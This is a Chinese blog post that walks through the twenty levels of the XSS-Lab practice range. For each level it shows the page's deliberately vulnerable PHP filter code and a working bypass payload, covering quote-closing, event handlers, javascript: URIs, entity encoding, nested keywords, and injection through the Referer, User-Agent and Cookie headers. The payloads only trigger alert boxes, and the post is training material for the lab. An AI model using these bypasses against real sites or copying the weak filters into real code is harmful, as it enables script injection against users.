XSS通关笔记

已于 2023-03-14 10:27:42 修改
阅读量673 收藏 5
点赞数
文章标签： 网络安全
于 2021-10-09 18:04:28 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-NC-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/weixin_52084568/article/details/118872768
版权

XSS-Lab通关总结笔记

第一关

初次接触xss漏洞，通过了解需要使用JavaScript语句进行弹窗，观察页面发现通过get模式进行传递参数，所以在第一关应该没有那么难，使用经典语句进行测试。

<script>alert('hello，gaga!');</script>

通过JavaScript语句成功进行弹窗

查看网页源代码，参数在h2标签里面，所以这一关没有任何的防护措施。


<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<h2 align=center>欢迎用户test</h2><center><img src=level1.png></center>
<h3 align=center>payload的长度:4</h3></body>
</html>

第二关

通过观察页面，发现有一个搜索框，测试经典语句进行keyword的参数传递。

发现经典语句并不能成功进行弹窗，所以查看网页源代码，和数据库源代码。

在这里插入图片描述
查看网页源代码，发现参数在input标签里面，所以要先闭合input标签，再使用经典语句进行测试


<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和test相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword  value="test">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:4</h3></body>
</html>

所以先闭合input标签然后进行弹窗

"><script>alert('hello，gaga!');</script>

成功进行弹窗
在这里插入图片描述

第三关

后面的越来越难所以先查看网页源代码进行查看网页进行了哪些防护措施
查看网页源代码，发现参数还是在input标签里面，查看数据库源代码


<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword  value=''>
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:0</h3></body>
</html>


<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

先闭合input标签，测试是否可以进行弹窗，发现并不能成功进行弹窗，查看网页源代码，发现尖括号转换成html编码。


<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和’&gt;&lt;script&gt;alert('hello，gaga!');&lt;/script&gt; 相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword  value='’&gt;&lt;script&gt;alert('hello，gaga!');&lt;/script&gt; '>
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:45</h3></body>
</html>

所以不能使用标签进行xss弹窗，先使用单引号’闭合标签，然后使用焦点事件进行弹窗，输入了下面的代码，点击文本成功进行弹窗。

' οnclick='alert(1)

在这里插入图片描述

第四关

现在已经出现了过滤特殊符号的防御机制，所以首先使用特殊符号进行测试，查看都过滤了哪些的特殊符号，查看数据库源代码，过滤了什么，在进行选择使用什么类型的代码进行xss弹窗，查看网页源代码


<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level5.php?keyword=find a way out!"; 
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<h2 align=center>没有找到和try harder!相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword  value="try harder!">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level4.png></center>
<h3 align=center>payload的长度:11</h3></body>
</html>

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level5.php?keyword=find a way out!"; 
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

这一关把尖括号给过滤掉了所以还是不能使用标签进行弹窗，使用焦点事件进行弹窗
因为value是使用双引号开始，随意使用双引号进行闭合

" οnclick="alert(1)"

成功弹窗
在这里插入图片描述

第五关

首先还是先测试过滤防御机制，查看源代码发现

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level6.php?keyword=break it out!"; 
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

检查发现过滤的script标签内的i，on也进行了过滤，还进行了大小写的转换
所以这里不能使用script标签进行弹窗
也不能使用焦点事件进行弹窗，所有的事件都带有on
所以选择一个没有这些关键字的标签进行弹窗测试

"><a href="javascript:alert(1)"

成功弹窗
同样是先闭合value然后使用点击图片进行弹窗 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20210719145728744.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl81MjA4NDU2OA==,size_16,color_FFFFFF,t_70

第六关

先查看源代码检查过滤机制

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level7.php?keyword=move up!"; 
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

通过检查源代码发现，对传入的参数一些关键字进行了过滤，包括script，on，src，data，href都继续宁了过滤，所以就不能延用上一关的方法，但是没有过滤大小写，通过大写代码进行测试

"><SCRIPT>alert(1)</SCRIPT>

同样也是先闭合value属性，然后进行代码的执行。
成功弹窗
在这里插入图片描述

第七关

检查源代码，判断过滤机制


```php
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level8.php?keyword=nice try!"; 
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

发现网页被过滤了script，on，src，data，href，并且还转化了大小写
但是可以使用嵌套的方式进行测试

"><scscriptript>alert(1)</scrscriptipt>
"  oonnclick="alert(1)"

成功弹窗
在这里插入图片描述

第八关

检查源代码，查看过滤

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level9.php?keyword=not bad!"; 
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

通过检查发现输入转换了大小写，script，on，src，data，href，双引号都被编码了
所以采用html编码进行测试弹窗

java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)

成功弹窗

在这里插入图片描述

第九关

检察院代码，查看过滤机制

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level10.php?keyword=well done!"; 
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法？有没有！">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

这一关在上一关的基础上进行了url地址的判断，进行判断输入的是否为一个链接，并且必须为http协议的url，所以我们将弹窗的内容进行更改，改为http://。

java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert('http://')

成功弹窗
在这里插入图片描述

第十关

查看源代码，检查网页过滤机制

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level11.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

这一关没有输入的文本框，并且url中传递的参数并不是要注入的地方，所以通过分析源代码，获得注入的隐藏目标，隐藏目标是t_sort，但是尖括号被过滤了，所以不能使用标签进行弹窗，使用事件也无法成弹窗，所以使用html的accesskey属性，或者使用type属性

t_sort=2" accesskey="x" οnclick="alert(1)
t_sort=2" accesskey="x" οnclick="alert(1)" type="text"

访问成功后，点击文本框，即可进行弹窗
在这里插入图片描述

第十一关

检查源代码，观察过滤机制

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level12.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

通过观察，过滤了尖括号，可能注入的地方应该是t_sort，还有一个server http_referer
测试t_sort接收的参数是否可以进行弹窗

t_sort=2" accesskey="x" οnclick="alert(1)" type="text"

但是并没有成功弹窗
所以t_sort这个接收的参数是用来迷惑攻击者的
改为http_referer测试，使用burpsuit对http头部进行抓包，再进行注入
在这里插入图片描述
添加字段后页面出现INPUT输入框，点击触发弹窗
本关通过源代码对输入的字符进行过滤，对攻击者进行迷惑

第十二关

检查网页源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level13.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

代码中input标签下变量t_ua的值是浏览器的版本，对应注入点位置，对尖括号进行了过滤防御，注入方法同十一关

所以在HTTP头部信息User-Agent字段进行修改
因为过滤了尖括号，所以采用事件触发条件

" οnmοuseοver=alert(1)" type="test"

第十三关

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level14.php"; 
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

对网页源代码进行查看，通过测试变量，T_cook是可以返回内容的，所以注入点应该在Cookie
通过burp抓包，Cookie显示的内容是t_cook的值，所以对Cookie字段进行修改
同时，防御机制对尖括号继续宁过滤，还是采用事件触发形式进行注入

user=2" οnmοuseοver="alert(1)" type="text"

第十四关

<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xsschallenge/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>

对网页源代码进行查看，并没有注入点，是一个静态页面

iframe调用的文件地址失效，无法进行测试。
应该是通过修改iframe调用的文件实现xss注入

第十五关

<html ng-app>
<head>
        <meta charset="utf-8">
        <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level16.php?keyword=test"; 
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关，自己想个办法走出去吧！</h1>
<p align=center><img src=level15.png></p>
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

检查网页源代码
提交的参数src，插入到<span>标签的class属性中，前面有ng-include的字符，是angular js中的关键字，作用相当于php的include函数，是先将1.git文件包含进去，用于包含外部HTML文件，属性的值可以是一个表达式，返回文件名，包含的文件需要包含在同一域名下，参数是一个HTML页面，包含的内容作为指定元素的子节点

ng-include，单独指向地址，必须加引号
ng-include，加载外部HTML，script标签中的内容不执行
ng-include，加载外部HTML中含有style标签可以识别

先尝试将参数设置为靶场的第一关

level5php?src='level1'

level1的页面被加载，在level15中没有注入点，但是level1
中有注入点，在level1中进行注入

src='level1.php?name=1<script>alert(1)</script>'

并没有弹窗提示，还以为是按照level1的防御机制去做，其实还是level15的过滤机制要绕过，所以采用其他标签事件属性进行触发

src='level1.php?name=<img src=1 οnerrοr=alert(1)>'

成功弹窗

第十六关

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level17.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
</body>
</html>

查看网页源代码，发现参数值被插入到

标签中
使用经典语句测试，script，/，空格，被编码成空格字符实体，无法对前面的标签进行闭合，但是换行并没有进行过滤，/也被编码，需要使用不需要闭合的标签 

<img
src='1'
onerror=alert(1)
>

换行使用url编码%0a代替
成功弹窗

第十七关

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！"); 
}
</script>
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
<h2 align=center>成功后，<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>

检查网页源代码,url中提交了两个参数，参数都传递到标签的src属性中，这个标签应该可以作为突破，使用了htmlspecialchars()函数进行了过滤，标签引入了一swf文件到浏览器端，src属性值设置添加引号，并不需要闭合

网页显示并不支持插件，我也不知道是我没安装还是就是不支持，但是我明显可以去QQ农场偷菜啊，使用事件触发进行测试

onclick=alert(1)

点击页面显示swf文件区域时成功弹窗

onmouseover 也可以成功触发

第十八关

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level19.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level18</title>
</head>
<body>
<h1 align=center>欢迎来到level18</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
</body>
</html>

检查网页源代码，URL中传递了两个参数值，但是只显示了一个FLASH文件，传递的参数还是出现在标签的src属性中

使用十七关的事件触发条件测试，成功插入url，成功触发弹窗

第十九关

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level20.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level19</title>
</head>
<body>
<h1 align=center>欢迎来到level19</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
</body>
</html>

检查网页源代码，src的值使用双引号进行包围，如果执行脚本代码，需要闭合标签，但是htmlspecialchars()函数进行过滤防御，无法闭合
这关需要对引用的swf稳健性反编译，对代码进行审计分析，反编译的工具是jpexs-decompiler

第二十关

同上一关解题步骤

xss 笔记
LAngle9的博客
03-24 641
1，xss ： 因为和css 冲突，改名字是xss,属于客户端攻击，网站管理员也是用户，攻击者盗取管理员的cookie，靠管理员身份作为“跳板”进行实施攻击。 XSS攻击最终目的是在网页中嵌入客户端恶意脚本代码，最常用的攻击代码是javascript语言，但也会使用其它的脚本语言 j avascript语言：是跨平台的，在jsp,php,asp,aspx,都可以使用 xss 用的脚本是可以构造的，有两千多种方法，要记者常用的函数就行 script, alert, img src 1.2 XS.
DVWA靶场之xss通关笔记,详解带截图
AboutLzs的博客
03-21 1725
DVWA靶场Xss通关笔记
XSS靶场——通关笔记
2301_80358831的博客
07-11 1737
通过代码发现，本关卡有两个参数：arg01、arg02，当我们发送的时候，发现他们是会互相拼接起来的，那么我们就容易想到这里会不会就是突破口，发现这两个参数是在embed上，embed标签定义嵌入的内容，并且做了尖括号过滤，那么我们可以加入一个属性进去，生成恶意代码。先查看源代码，和上一关的不同之处是t_ua处已经有了参数，虽然第四个<input>的t_ua已经有了参数，但是仍然尝试给这四个隐藏的文本框传参，结果发现t_sort成功接收到传的参，但是t_ua还是原来的参数，没有接收到刚才传的参。
pikachu-XSS跨站脚本通关
最新发布
qq_74191138的博客
04-28 1523
我们可以把DOM理解为一个一个访问HTML的标准的编程接口。DOM是一个前端的接口，并没有和后端做任何的交互。W3Cschool上有一个介绍DOM的树形图我把他截取下来了。
XSS靶场通关
ANYOUZHEN的博客
05-20 1954
leve1 反射型xss，将name后面的值test改为 <script>alert('xss')</script> level2 查看后端代码 得先将前面闭合 ，并且用//将后面的代码注释掉 左边的">去闭合原先的",右边的//去注释原先的"> "><script>alert('xss')</script>// level3 输入test进行尝试，发现没有成功，观察后端代码 猜测服务器端在这两处都用
xss挑战通关笔记
ranuy阮的博客
03-17 823
xss小游戏通关笔记levle1level2level3level4level5level6level7level8level9level10level11level12level13level14level15level16level17level18 levle1 在url中输入tt，页面输出tt 在url中构造这段js代码 <script>alert(1)</script...
xss靶场通关笔记
weixin_55843787的博客
03-10 6724
xss靶场通关技巧笔记
xss-labs 通关笔记
Ewige的博客
06-30 597
靶场地址：传送门 概述： XSS（跨站脚本）概述 Cross-Site Scripting 简称为“CSS”，为避免与前端叠成样式表的缩写"CSS"冲突，故又称XSS。一般XSS可以分为如下几种常见类型： 1.反射性XSS; 反射型XXS是一种非持久性的攻击，它指的是恶意攻击者往Web页面里插入恶意代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意攻击用户的目的。这里插入的恶意代码并没有保存在目标网站，需要引诱用户点击一个链接到目标网站的恶意链接来实施攻击。 原文链接：ht
XSS-labs靶场通关笔记1-3
m0_65614852的博客
03-10 415
第一关 如上图不难发现此关突破点在url中 观察url中的参数name=test，我们不妨将test更改下试试看。 你会发现在源码<h2></h2>标签外输出，因此可以利用参数name来进行操作； 构造javascript代码： <script>alert()</script> <img src="" onerror="alert()"> // onerror 当图片连接地址错误是 执行onerror事件 第.
dvwa靶场xss通关
08-15
- *3* [DVWA靶场之xss通关笔记,详解带截图](https://blog.csdn.net/AboutLzs/article/details/123631604)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_...
xss笔记
捡糖的echo
06-24 187
XSS本质：用户浏览页面的时候加载恶意脚本谁访问恶意脚本，攻击谁成功Xss盲打：在某个私密页面插入恶意脚本，数据传到后台的统计里面，前台没有xss漏洞（数据传入后台的时候是否会被转义而不具备攻击性？），后台存在xss漏洞，能否攻击成功？原理：防守xss其中一个措施是过滤特殊字符，好的做法是对输入的参数进行转义，而保留用户完整的输入字符串，传入后台的时候被转义的字符会被解析，后台应该同样对输入进行检...
XSS笔记
公众号shadow sock7
06-16 441
参考： https://www.exploit-db.com/papers/13646/magic_quotes_gpc=ON这是在php.ini中的选项。 这种机制对任何输入中的' (single-quote), " (double quote) and \ (backslash)自动地加上\。即便它是可以被绕过的，但是这确实是一种很有名的避免XSS的方式之一。绕过使用js的String.f
xss(笔记)
weixin_45291045的博客
10-30 653
文章目录xss原理xss的危害xss分类如何测试xss xss原理 xss其实就是HTML代码注入，恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意用户的特殊目的。 xss的危害 盗取cookie 网络钓鱼 劫持用户会话 网页挂马 等等 xss分类 反射型xss（非持久型） 一般出现在搜索框，get传参里 传参不会进入数据库，需要进行社工，诱骗管理员点击链接 存储型xss（持久型） 一般出现在，留言框，设置资料的框，各种跟数据库有
XSS学习笔记
weixin_44377940的博客
03-09 235
XSS（跨站脚本攻击）分为反射型（不持久）、存储型（存储在服务器中，持久）、DOM型。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

暴龙振翅飞翔

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值